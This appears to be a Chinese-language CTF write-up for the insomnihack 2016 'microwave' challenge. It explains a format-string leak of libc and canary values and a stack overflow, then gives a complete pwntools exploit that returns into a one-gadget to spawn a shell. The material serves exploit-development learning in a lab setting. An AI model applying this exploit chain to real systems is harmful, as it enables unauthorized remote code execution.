zoukankan      html  css  js  c++  java
  • insomnihack CTF 2016-microwave

    程序基本信息

       程序防护全开,shellcode修改got表等方法都不太可行,同时pie开启也使程序代码随机化了。
    

    程序漏洞

       这是一个发推特的程序,具体功能不在这里细说,这个程序有两个漏洞:
       一个是存在在功能1中的格式化字符串漏洞,在函数sub_55D83D2C4F00中
    

       通过分析可以发现,a1是我们输入的值,所以这里我们可以输入格式化字符串泄露栈上的地址
    
       第二个是存在在功能2中的栈溢出漏洞,在函数sub_55D832C5000中
    

       由于这个函数的调用没有靠传统的rbp,而是靠sub rsp与add rsp来分配回收栈帧的,所以溢出字节数需要自己测算一下
    

    整体思路

       由于程序给了libc,我们用one gadget工具看看可以跳转到那些地址能get shell
    

       我们可以选用第一个,只要让返回地址返回到内存中gadget位置即可(需要注意控制rax的值为0)。
       找到getshell的方法后,我们的思路就很清晰了,首先我们输入构造好的格式化字符串和password(程序中能找到),泄露栈上的libc中stdin的地址,然后减去stdin在libc中的偏移再加上0x45526就能得到gadget在内存中的起始地址,然后调用有栈溢出的函数,让返回地址指向gadget,就能成功pwn掉程序get shell
    

    exp脚本

    from pwn import *
    
    context.update(os = 'linux', arch = 'amd64')
    
    io = remote('172.17.0.2', 10001)
    
    io.sendline('1')					#使用功能1触发格式化字符串漏洞
    io.recv('username: ')
    io.sendline('%p.'*8)				#格式化字符串泄露libc中的地址和canary
    io.recvuntil('password: ')
    io.sendline('n07_7h3_fl46')			#密码硬编码在程序中,可以直接看到
    leak_data = io.recvuntil('[MicroWave]: ').split()[1].split('.')	
    leak_libc = int(leak_data[7], 16)     #通过调试可知,stdin在printf的第8个参数
    one_gadget_addr = leak_libc - 0x3c26f0 + 0x45526		#计算one gadget RCE地址(0x3c26f0和0x45526分别为stdin跟gadget在libc中的偏移)
    canary = int(leak_data[5], 16)    #通过调试可知,canary在printf的第6个参数
    log.info('Leak canary = %#x, one gadget RCE address = %#x' %(canary, one_gadget_addr))
    
    payload = "A"*1032					#padding
    payload += p64(canary)				#正确的canary,canary在栈上与返回地址有8个字节的差距
    payload += "B"*8					#padding
    payload += p64(one_gadget_addr)		#one gadget RCE
    
    io.sendline('2')					#使用有栈溢出的功能2
    io.recvuntil('#> ')
    io.sendline(payload)
    
    sleep(0.5)				
    io.interactive()
    
    

    内容参考

    Linux pwn入门教程(9)

  • 相关阅读:
    产品化软件开发与项目化软件开发的对比
    4.ThinkPHP 3.1.2 输出和模型使用
    ThinkPHP 3.1.2 输出和模型使用1
    事务管理配置与@Transactional注解使用
    logstash 区分多个文件index端配置
    logstash 读取多个系统相同文件shipper端
    centos 6.5安装git
    如何查看PHP的配置信息
    MVC模式和URL访问
    1.环境搭建
  • 原文地址:https://www.cnblogs.com/luoleqi/p/11597852.html
Copyright © 2011-2022 走看看